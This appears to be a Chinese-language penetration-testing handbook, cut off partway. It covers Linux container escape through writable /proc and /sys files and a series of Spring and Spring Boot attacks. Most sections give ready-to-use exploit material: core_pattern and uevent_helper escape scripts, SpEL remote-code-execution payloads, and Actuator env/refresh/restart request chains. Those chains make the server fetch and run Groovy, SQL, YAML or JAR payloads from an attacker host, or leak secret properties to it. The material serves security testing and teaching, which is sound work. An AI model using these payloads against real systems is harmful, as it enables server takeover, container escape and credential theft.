由于缺乏命名空间支持，`/proc`和`/sys`的暴露提供了重大攻击面和信息泄露的来源。`procfs`和`sysfs`中的许多文件为容器逃逸、主机修改或基本信息泄露提供了风险，这些可能促进其他攻击。
## procfs
### /proc/sys
`/proc/sys`通常允许访问修改内核变量，通常通过`sysctl(2)`控制。
#### /proc/sys/kernel/core\_pattern
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html)定义了一个程序，该程序在核心文件生成时执行（通常是程序崩溃），如果此文件的第一个字符是管道符号`|`，则将核心文件作为标准输入传递。此程序由root用户运行，将允许最多128字节的命令行参数。这在任何崩溃和核心文件生成的情况下（可以在各种恶意操作期间简单地丢弃）允许在容器主机内进行简单的代码执行。
```bash
$ cd /proc/sys/kernel
$ echo "|$overlay/shell.sh" > core_pattern
$ sleep 5 && ./crash &
```
参考资料：
* [为了乐趣而逃逸特权容器](https://pwning.systems/posts/escaping-containers-for-fun/)
#### /proc/sys/kernel/modprobe
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html)包含内核模块加载器的路径，在加载内核模块时调用，例如通过[modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html)命令。可以通过执行任何触发内核尝试加载内核模块的操作（例如使用crypto-API加载当前未加载的加密模块，或使用ifconfig为当前未使用的设备加载网络模块）来获得代码执行权限。
#### /proc/sys/vm/panic\_on\_oom
[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html)是一个全局标志，确定内核在遇到内存不足（OOM）条件时是否会恐慌（而不是调用OOM杀手）。这更像拒绝服务（DoS）攻击而不是容器逃逸，但它同样暴露了应该只对主机可用的能力。
#### /proc/sys/fs
[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html)目录包含一个关于文件系统各个方面的选项和信息数组，包括配额、文件句柄、inode和dentry信息。对此目录的写访问将允许对主机进行各种拒绝服务攻击。
#### /proc/sys/fs/binfmt\_misc
[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html)允许执行各种二进制格式，这通常意味着可以为非本地二进制格式（如Java）注册各种解释器，基于它们的魔术数字。虽然此路径通常可被AppArmor规则写入，但NCC不知道任何漏洞利用，尽管大多数容器应用程序可能不需要它。
### /proc/config.gz
[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html)取决于`CONFIG_IKCONFIG_PROC`设置，这暴露了运行内核的内核配置选项的压缩版本。这可能允许受损或恶意的容器轻松发现和定位内核中启用的脆弱区域。
### /proc/sysrq-trigger
`Sysrq`是一种旧机制，可以通过特殊的`SysRq`键盘组合调用。这可以允许系统立即重启，发出`sync(2)`，将所有文件系统重新挂载为只读，调用内核调试器和其他操作。
如果客户机没有被正确隔离，它可以通过向`/proc/sysrq-trigger`文件写入字符来触发[sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html)命令。
```bash
# 重启主机
echo b > /proc/sysrq-trigger
```
### /proc/kmsg
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html)可以暴露通常通过`dmesg`访问的内核环形缓冲区消息。此信息的暴露可以帮助内核漏洞利用，触发内核地址泄露（可能用于帮助击败内核地址空间布局随机化（KASLR）），并且是关于内核、硬件、被阻止数据包和其他系统详细信息的一般信息泄露来源。
### /proc/kallsyms
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html)包含内核导出符号及其动态和可加载模块的地址位置列表。这还包括内核映像在物理内存中的位置，这对内核漏洞利用开发很有帮助。从这些位置，可以找到内核的基地址或偏移量，这可以用来克服内核地址空间布局随机化（KASLR）。
对于`kptr_restrict`设置为`1`或`2`的系统，此文件将存在但不提供任何地址信息（尽管符号列出的顺序与内存中的顺序相同）。
### /proc/\[pid]/mem
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html)暴露了内核内存设备`/dev/mem`的接口。虽然PID命名空间可以防止一些通过此`procfs`向量的攻击，但这个区域在历史上是脆弱的，然后被认为安全，但再次被发现[脆弱](https://git.zx2c4.com/CVE-2012-0056/about/)用于权限提升。
### /proc/kcore
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html)表示系统的物理内存，采用ELF核心格式（通常在核心转储文件中找到）。它不允许写入所述内存。读取此文件（限制为特权用户）可以从主机系统和其他容器泄露内存内容。
报告的大文件大小代表架构的最大物理可寻址内存量，并且在读取它时可能会引起问题（或根据软件的脆弱性而崩溃）。
[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
### /proc/kmem
`/proc/kmem`是[/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html)的替代接口（对其的直接访问被cgroup设备白名单阻止），这是一个表示内核虚拟内存的字符设备文件。它允许读写，允许直接修改内核内存。
### /proc/mem
`/proc/mem`是[/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html)的替代接口（对其的直接访问被cgroup设备白名单阻止），这是一个表示系统物理内存的字符设备文件。它允许读写，允许修改所有内存。（它需要比`kmem`更多的技巧，因为虚拟地址需要首先解析为物理地址）。
### /proc/sched\_debug
`/proc/sched_debug`是一个特殊文件，返回整个系统的进程调度信息。此信息包括来自所有命名空间的进程名称和进程ID，以及进程cgroup标识符。这有效地绕过了PID命名空间保护，并且是其他/世界可读的，因此它也可以在非特权容器中被利用。
### /proc/\[pid]/mountinfo
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html)包含有关进程挂载命名空间中挂载点的信息。它暴露了容器`rootfs`或镜像的位置。
## sysfs
### /sys/kernel/uevent\_helper
`uevents`是当设备添加或移除时由内核触发的事件。值得注意的是，`uevent_helper`的路径可以通过写入`/sys/kernel/uevent_helper`来修改。然后，当触发`uevent`时（也可以通过写入如`/sys/class/mem/null/uevent`之类的文件从用户空间完成），恶意的`uevent_helper`被执行。
```bash
# 创建payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将uevent_helper设置为/path/payload
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# 触发uevent
echo change > /sys/class/mem/null/uevent
# 或者
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# 读取输出
cat /output
```
### /sys/class/thermal
访问ACPI和各种用于温度控制的硬件设置，通常在笔记本电脑或游戏主板上找到。这可能允许对容器主机进行DoS攻击，甚至可能导致物理损坏。
### /sys/kernel/vmcoreinfo
此文件可能泄露内核地址，这些地址可用于击败KASLR。
### /sys/kernel/security
在`/sys/kernel/security`中挂载了`securityfs`接口，它允许配置Linux安全模块。这允许配置[AppArmor策略](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel_interfaces#securityfs-syskernelsecurityapparmor)，因此访问此文件可能允许容器禁用其MAC系统。
### /sys/firmware/efi/vars
`/sys/firmware/efi/vars`暴露了与NVRAM中的EFI变量交互的接口。虽然这对于大多数服务器通常不相关，但EFI变得越来越受欢迎。权限弱点甚至导致一些笔记本电脑变砖。
### /sys/firmware/efi/efivars
`/sys/firmware/efi/efivars`提供了一个接口来写入用于UEFI启动参数的NVRAM。修改它们可能使主机机器无法启动。
### /sys/kernel/debug
`debugfs`提供了一个"无规则"接口，通过它内核（或内核模块）可以创建用户空间可访问的调试接口。它在过去有许多安全问题，并且文件系统背后的"无规则"指导方针经常与安全约束冲突。
## 参考资料
* [理解和强化Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
* [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
# 容器分析工具
* [CDK](https://github.com/cdk-team/CDK) - 容器渗透测试工具包，提供在不同精简容器中的稳定漏洞利用，无需任何操作系统依赖
* [deepce](https://github.com/stealthcopter/deepce) - Docker枚举、权限提升和容器逃逸（DEEPCE）
* [dive](https://github.com/wagoodman/dive) - 用于探索docker镜像中每个图层的工具
* [SecretScanner](https://github.com/deepfence/SecretScanner) - 在容器镜像和文件系统中查找机密和密码
# Spring
# 概述
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
# 批量赋值
软件框架有时允许开发人员自动将HTTP请求参数绑定到程序代码变量或对象中，以使开发人员更容易使用该框架。这有时会造成危害。
攻击者有时可以使用这种方法来创建开发人员从未预期的新参数，从而在程序代码中创建或覆盖未预期的变量或对象。
当满足以下条件时，此功能变得可被利用：
* 攻击者可以猜测常见的敏感字段。
* 攻击者可以访问源代码并可以审查模型中的敏感字段。
* 并且包含敏感字段的对象具有空构造函数。
## 示例
假设有一个用于编辑用户账户信息的表单：
```html
```
以下是表单绑定的对象：
```java
@Data
public class User {
private String userid;
private String password;
private String email;
private boolean isAdmin;
}
```
以下是处理请求的控制器：
```java
@RequestMapping(value = "/addUser", method = RequestMethod.POST)
public String submit(User user) {
userService.add(user);
return "successPage";
}
```
以下是典型的请求：
```http
POST /addUser
...
userid=attacker&password=s3cret_pass&email=attacker@attacker-website.com
```
以下是我们在其中设置User类实例的isAdmin属性值的漏洞利用：
```http
POST /addUser
...
userid=attacker&password=s3cret_pass&email=attacker@attacker-website.com&isAdmin=True
```
## 参考
* [OWASP Mass Assignment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md)
* [Spring MVC, protect yourself from Mass Assignment](https://domineospring.wordpress.com/2015/05/18/spring-mvc-proteja-se-do-mass-assignment/)
* [Security of your application and frameworks: the attack on GitHub](https://blog.caelum.com.br/seguranca-de-sua-aplicacao-e-os-frameworks-ataque-ao-github/)
* [Write up: Spring's setDisallowedFields bypass in the VolgaCTF2019 Shop task](https://gitlab.com/salted-crhackers/writeups/-/tree/master/2019/volgactf-qualifier/shop)
* [Write up: The VolgaCTF2019 Shop v2 task](https://balsn.tw/ctf_writeup/20190329-volgactfqual/#shop-v2)
# 路由滥用
## 暴露路由
暴露Spring应用程序的相关接口和参数信息并不是漏洞，但它有助于理解应用程序。此外，在检查访问控制漏洞等时可以使用它。
检查以下路由以查看应用程序是否提供路径和参数信息：
此外，检查以下Spring Boot Actuators相关路由，它们可以暴露接口地址信息（但不包括参数相关信息）：
参考：
* [Spring Boot Vulnerability Exploit Check List: Leakage of routing address and interface call details](https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F)
## 使用/..;/进行路径遍历
Spring Boot > 2.2.6将`https://website.com/allowed/..;/internal`视为与`https://website.com/allowed/../internal`相同。
这可能导致Spring和中间件之间的不一致性。例如，如果应用程序部署在nginx后面，您可以绕过对允许路径的限制。假设nginx将所有对`/allowed/`的请求转发到应用程序并拒绝其他请求。在这种情况下，对`/allowed/../internal`的请求将被阻止，但是`/allowed/..;/internal`不会被阻止 - nginx会将其原样传递给应用程序，它将命中`/internal`。
参考：
* [@0xsapra tweet](https://mobile.twitter.com/0xsapra/status/1468551562712682499)
## useSuffixPatternMatch错误配置
Spring Framework版本< 5.3有一个名为[useSuffixPatternMatch](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/servlet/config/annotation/PathMatchConfigurer.html)的设置（在5.2.4中已弃用）。它启用了后缀模式匹配，默认设置为`true`。这意味着映射到`/adminURL`的方法也会匹配`/adminURL[.].*`。因此，这可能导致潜在的URL过滤器绕过，从而允许访问受限区域。
参考：
* [@ptswarm tweet](https://twitter.com/ptswarm/status/1631287479604060161)
# SpEL注入
## Spring Expression Language (SpEL) 概述
Spring Expression Language（简称SpEL）是一种强大的表达式语言，支持在运行时查询和操作对象图。
{% embed url="" %}
### 使用Spring表达式接口进行表达式求值
以下代码介绍了SpEL API来评估字面字符串表达式`Hello World!`：
```java
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
String message = (String) exp.getValue();
```
`message`变量的值就是简单的`Hello World!`。
### EvaluationContext接口
[EvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/EvaluationContext.html)接口在评估表达式时用于解析属性、方法、字段，并帮助执行类型转换。有两个主要的现成实现：
* [StandardEvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/spel/support/StandardEvaluationContext.html)。一个功能强大且高度可配置的`EvaluationContext`实现。此上下文使用所有适用策略的标准实现，基于反射来解析属性、方法和字段。
* [SimpleEvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html)。`EvaluationContext`的基本实现，专注于基本的SpEL功能和自定义选项，针对简单的条件评估特别是数据绑定场景。
```java
StandardEvaluationContext standardContext = new StandardEvaluationContext();
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('id')");
// 执行'id'命令（默认使用标准上下文）
exp.getValue();
// 执行'id'命令
exp.getValue(standardContext);
// 接收错误消息
exp.getValue(simpleContext);
```
### 表达式支持定义Bean定义
SpEL表达式可以与基于XML或注解的配置元数据一起使用，用于定义BeanDefinitions。在这两种情况下，定义表达式的语法形式为`#{ }`。
#### 基于XML的配置
您可以使用表达式设置属性或构造函数参数值。
```xml
```
#### 基于注解的配置
`@Value`注解可以放在字段、方法和方法/构造函数参数上以指定默认值。
```java
public static class FieldValueTestBean {
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
public void setDefaultLocale(String defaultLocale)
{
this.defaultLocale = defaultLocale;
}
public String getDefaultLocale()
{
return this.defaultLocale;
}
}
```
### 语言参考
{% embed url="" %}
## SpEL注入
当用户控制的数据直接传递给SpEL表达式解析器时，会发生SpEL注入。例如，以下方法使用标准上下文来评估SpEL表达式：
```java
private static final SpelExpressionParser PARSER = new SpelExpressionParser();
private static final StandardEvaluationContext CONTEXT = new StandardEvaluationContext();
@PostMapping(path = "/")
public void method(@RequestBody String path, @RequestBody String value) {
Expression expression = PARSER.parseExpression(path);
expression.setValue(CONTEXT, value);
// ...
}
```
因此，您可以通过发送以下`POST`请求来获得代码执行：
```http
POST / HTTP/1.1
Host: vulnerable-website.com
...
{"path":"T(java.lang.Runtime).getRuntime().exec('touch executed').x", "value":"executed"}
```
如果您可以访问源代码，请尝试使用以下关键字搜索易受攻击的代码：
* `SpelExpressionParser`、`EvaluationContext`、`parseExpression`、`@Value("#{ }")`
* `#{ }`、`${}`、`T()`
如果源代码不可用，值得检查Spring Boot执行器提供的`metrics`和`beans`端点。这些端点可以扩展可用bean列表及其接受的参数。
此外，尝试在服务的不同元素中使用表达式：
* 参数名称和值：
* `variable[]=123`
* `variable=123&=123`
* `{"":"123"}`
* `{"variable":""}`
* HTTP头部：
* `Cookie: cookie_name=`
* `Cookie: =cookie_value`
* `Private-Token: `
* 等等。
您可以使用以下payload作为表达式字符串：
```java
${1+3}
T(java.lang.Runtime).getRuntime().exec("dig ")
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('dig ')
new java.lang.ProcessBuilder({'dig '}).start()
${user.name}
```
## Spring boot whitelabel错误页面RCE
此漏洞需要以下条件：
* Spring Boot版本`1.1.0 - 1.1.12`、`1.2.0 - 1.2.7`、`1.3.0`
* 在Spring Boot中至少有一个接口触发默认的whitelabel错误页面
检查下一个Spring Boot应用程序：[LandGrey/springboot-spel-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce)。如果您向`/article?id=hop`发送请求，应用程序将返回代码为`500`的whitelabel错误。但是，如果您向`/article?id=${7*7}`发送请求，应用程序将返回计算值`49`的错误页面。发生这种情况是因为：
1. Spring Boot使用`org.springframework.util.PropertyPlaceholderHelper`类处理错误中的URL参数
2. `PropertyPlaceholderHelper.parseStringValue`方法解析URL参数
3. `${}`中包含的内容将被`org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration`类的`resolvePlaceholder`方法解析并作为SpEL表达式执行
因此，这导致RCE，您可以使用以下步骤执行任意命令：
1. 使用下一个python脚本准备payload（此示例准备执行`open -a Calculator`命令的payload）：
```python
cmd = 'open -a Calculator'
h = ''
for x in cmd:
h += hex(ord(x)) + ','
payload = h.rstrip(',')
print('${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{' + payload + '}))}')
```
2. 在`id`参数中发送payload：
```http
/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
```
3. `open -a Calculator`将被执行
参考：
* [Spring Boot Vulnerability Exploit Check List: whitelabel error page SpEL RCE](https://github.com/LandGrey/SpringBootVulExploit#0x01whitelabel-error-page-spel-rce)
## SimpleEvaluationContext ReDoS
`SimpleEvaluationContext`上下文阻止任意代码执行并写入错误消息。但是，您仍然可以利用ReDoS攻击。
```java
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("'aaaaaaaaaaaaaaaaaaaaaaaa!'.matches('^(a+)+$')");
// ReDoS
exp.getValue(simpleContext);
```
## 参考
* [Spring Framework Docs: Spring Expression Language (SpEL)](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html)
* [SpEL Injection (Russia)](https://habr.com/ru/company/dsec/blog/433034/)
# Spring Boot执行器
## Spring Boot执行器概述
Spring Boot包括许多称为[执行器](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html)的附加功能，以帮助在应用程序部署到生产环境时监控和控制应用程序。执行器允许使用HTTP或JMX端点来控制应用程序。如果应用程序配置不当，审计、健康和指标收集可能会为服务器打开隐藏的后门。
Spring Boot包含许多内置的[端点](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints)（或Spring Boot 1.x的[端点](https://docs.spring.io/spring-boot/docs/1.5.x/reference/html/production-ready-endpoints.html)），并允许开发人员添加自己的端点。例如，`health`端点提供基本的应用程序健康信息。
每个单独的端点都可以启用或禁用，并通过HTTP或JMX暴露。端点在启用和暴露时被认为是可用的。内置端点只有在可用时才会自动配置。大多数应用程序选择通过HTTP暴露，其中端点的ID加上`/actuator`前缀映射到URL。例如，默认情况下，health端点映射到`/actuator/health`。
要了解更多关于执行器端点及其请求和响应格式，请查看[Spring Boot Actuator Web API Documentation](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/)。
## env
[env](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#env)暴露Spring的`ConfigurableEnvironment`中的属性。
{% hint style="info" %}
Spring Boot 2.x使用`json`而不是`x-www-form-urlencoded`来通过`env`端点进行属性更改请求
{% endhint %}
{% hint style="info" %}
`env`和`configprops`端点返回的信息可能有些敏感，因此默认情况下匹配特定模式的键会被[净化](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/howto-actuator.html#howto-sanitize-sensible-values)（替换为`*`）。但是，下面您可以找到几种检索这些值的方法
{% endhint %}
### eureka.client.serviceUrl.defaultZone
`eureka.client.serviceUrl.defaultZone`需要以下条件：
* `/refresh`端点可用
* 应用程序使用`spring-cloud-starter-netflix-eureka-client`依赖
#### 检索env属性
您可以通过以下步骤获取`env`属性值的明文：
1. 设置`eureka.client.serviceUrl.defaultZone`属性：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/x-www-form-urlencoded
{
"name": "eureka.client.serviceUrl.defaultZone",
"value": "http://value:${your.property.name}@attacker-website.com/"
}
```
2. 刷新配置
```http
POST /actuator/refresh HTTP/1.1
Content-Type: application/json
```
3. 从`attacker-website.com`日志中的`Authorization`头部检索属性值
参考：
* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 2)](https://github.com/LandGrey/SpringBootVulExploit#0x04%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%BA%8C)
#### XStream反序列化RCE
需要`Eureka-Client`版本`< 1.8.7`。
您可以通过以下步骤获得RCE：
1. 设置一个响应恶意XStream payload的网站，查看[springboot-xstream-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py)
2. 设置`eureka.client.serviceUrl.defaultZone`属性：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "eureka.client.serviceUrl.defaultZone",
"value": "http://attacker-website.com/payload"
}
```
3. 刷新配置：
```http
POST /actuator/refresh HTTP/1.1
Content-Type: application/json
```
4. 代码将被执行
可能的原因是：
1. `eureka.client.serviceUrl.defaultZone`属性设置为外部eureka服务器URL
2. 刷新触发对虚假eureka服务器的请求，该服务器将返回恶意payload
3. 响应解析触发XStream反序列化，导致代码执行
参考：
* [Spring Boot Vulnerability Exploit Check List: eureka xstream deserialization RCE](https://github.com/LandGrey/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce)
### logging.config
`logging.config`需要`/restart`可用。
#### Logback JNDI RCE
`logging.config`可以通过Logback JNDI导致RCE，查看[Logback JNDI RCE](#logback-jndi-rCE)。
如何利用：
1. 托管具有以下上下文的`logback`配置XML文件：
```xml
```
2. 托管恶意LDAP服务，查看[文章](https://landgrey.me/blog/21/)如何准备payload并启动服务
3. 设置`logging.config`属性：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "logging.config",
"value": "http://attacker-website.com/logback.xml"
}
```
4. 重启应用程序：
```http
POST /actuator/restart HTTP/1.1
Content-Type: application/json
```
资源：
* [Spring Boot Vulnerability Exploit Check List: restart logging.config logback JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x09restart-loggingconfig-logback-jndi-rce)
#### Groovy RCE
如何利用：
1. 托管具有以下内容的`payload.groovy`文件：
```groovy
Runtime.getRuntime().exec("open -a Calculator")
```
2. 设置`logging.config`：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "logging.config",
"value": "http://attacker-website.com/payload.groovy"
}
```
3. 重启应用程序：
```http
POST /actuator/restart HTTP/1.1
Content-Type: application/json
```
该链包含以下步骤：
1. 攻击者使用`logging.config`属性设置Logback配置文件
2. 应用程序在重启后请求配置
3. `logback-classic`中的`ch.qos.logback.classic.util.ContextInitializer.java`确定URL是否以`groovy`结尾
4. 配置文件中的Groovy代码被执行
参考：
* [Spring Boot Vulnerability Exploit Check List: restart logging.config groovy RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0arestart-loggingconfig-groovy-rce)
### spring.main.sources
`spring.main.sources`需要`/restart`可用。
如何利用：
1. 托管具有以下内容的`payload.groovy`文件：
```groovy
Runtime.getRuntime().exec("open -a Calculator")
```
2. 设置`logging.config`：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "spring.main.sources",
"value": "http://attacker-website.com/payload.groovy"
}
```
3. 重启应用程序：
```http
POST /actuator/restart HTTP/1.1
Content-Type: application/json
```
该链包含以下步骤：
1. 将`spring.main.sources`设置为带有payload的外部URL
2. 应用程序在重启后请求该URL
3. `spring-boot`中的`org.springframework.boot.BeanDefinitionLoader.java`确定URL是否以`groovy`结尾
4. 配置文件中的Groovy代码被执行
参考：
* [Spring Boot Vulnerability Exploit Check List: restart spring.main.sources groovy RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0brestart-springmainsources-groovy-rce)
### spring.datasource.tomcat.validationQuery
`spring.datasource.tomcat.validationQuery`允许指定任何SQL查询，该查询将自动针对当前数据库执行。它可以是任何语句，包括insert、update或delete。
### spring.datasource.tomcat.url
`spring.datasource.tomcat.url`允许修改当前的JDBC连接字符串。
这里的问题是，当应用程序建立到数据库的连接已经在运行时，仅更新JDBC字符串没有效果。但是您可以尝试使用`spring.datasource.tomcat.max-active`来增加同时数据库连接的数量。
因此，您可以更改JDBC连接字符串，增加连接数量，然后向应用程序发送许多请求来模拟重负载。在负载下，应用程序将使用更新的恶意JDBC字符串创建新的数据库连接。
### spring.datasource.data
如果满足以下条件，`spring.datasource.data`可用于获得RCE：
* `/restart`可用
* 使用了`h2database`和`spring-boot-starter-data-jpa`依赖
如何利用：
1. 托管具有以下内容的`payload.sql`文件：
```sql
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
```
payload中的`T5`方法必须在命令执行后重命名（为`T6`），然后才能重新创建和使用。否则，下次应用程序重启时漏洞将不会触发。
2. 设置`spring.datasource.data`：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "spring.datasource.data",
"value": "http://attacker-website.com/payload.sql"
}
```
3. 重启应用程序：
```http
POST /actuator/restart HTTP/1.1
Content-Type: application/json
```
利用链包含以下步骤：
1. 攻击者将`spring.datasource.data`设置为JDBC DML SQL文件的URL
2. 应用程序在重启后请求该URL
3. `spring-boot-autoconfigure`中的`org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java`使用`runScripts`方法执行h2数据库SQL代码，导致RCE
参考：
* [Spring Boot Vulnerability Exploit Check List: restart spring.datasource.data h2 database RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0crestart-springdatasourcedata-h2-database-rce)
### spring.datasource.url
`spring.datasource.url`是仅用于第一次连接的数据库连接字符串。您可以将其与MySQL中的JDBC反序列化漏洞链接以获得RCE。该漏洞需要以下条件：
* `/refresh`可用
* 使用了`mysql-connector-java`依赖
{% hint style="info" %}
更改`spring.datasource.url`将暂时禁用所有正常的数据库服务
{% endhint %}
如何利用：
1. 使用`/actuator/env`端点获取以下值：
* `mysql-connector-java`版本号（5.x或8.x）
* 常见的反序列化小工具，如`commons-collections`
* `spring.datasource.url`值，以便稍后制定其正常的JDBC URL
2. 使用[ysoserial](https://github.com/frohoff/ysoserial)创建payload：
```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
```
3. 使用[springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py)托管`payload.ser`
4. 设置`spring.datasource.url`属性：
`mysql-connector-java`版本5.x：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "spring.datasource.url",
"value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
}
```
`mysql-connector-java`版本8.x：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "spring.datasource.url",
"value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
}
```
5. 刷新配置：
```http
POST /actuator/refresh HTTP/1.1
Content-Type: application/json
```
6. 尝试访问将触发数据库查询的端点，例如`/product/list`，或找到其他方式查询数据库并触发漏洞
利用链包含以下步骤：
* `spring.datasource.url`设置为外部MySQL JDBC URL
* 刷新配置
* 应用程序在执行数据库查询时使用恶意的MySQL JDBS URL建立新的数据库连接
* 恶意MySQL服务器在建立连接的适当阶段返回payload
* `mysql-connector-java`反序列化payload并执行任意代码
参考：
* [Spring Boot Vulnerability Exploit Check List: mysql jdbc deserialization RCE](https://github.com/LandGrey/SpringBootVulExploit#0x08mysql-jdbc-deserialization-rce)
### spring.cloud.bootstrap.location
`spring.cloud.bootstrap.location`需要以下条件：
* `/refresh`端点可用
* `spring-cloud-starter`版本`< 1.3.0.RELEASE`
#### 检索env属性
您可以通过以下步骤获取`env`属性值的明文：
1. 设置`spring.cloud.bootstrap.location`属性：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "spring.cloud.bootstrap.location",
"value": "http://attacker-website.com/?=${your.property.name}"
}
```
2. 刷新配置
```http
POST /actuator/refresh HTTP/1.1
Content-Type: application/json
```
3. 从`attacker-website.com`日志中检索属性值
参考：
* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 3)](https://github.com/LandGrey/SpringBootVulExploit#0x05%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%89)
#### SnakeYML RCE
`spring.cloud.bootstrap.location`允许加载YAML格式的外部配置。您可以通过以下步骤获得代码执行：
1. 在`http://attacker-website.com/config.yml`托管`config.yml`，内容如下：
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-website.com/payload.jar"]
]]
]
```
2. 托管包含将被执行的代码的`payload.jar`，查看[marshalsec research](https://github.com/mbechler/marshalsec)和[artsploit/yaml-payload](https://github.com/artsploit/yaml-payload)了解如何准备payload
3. 设置`spring.cloud.bootstrap.location`属性：
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "spring.cloud.bootstrap.location",
"value": "http://attacker-website.com/yaml-payload.yml"
}
```
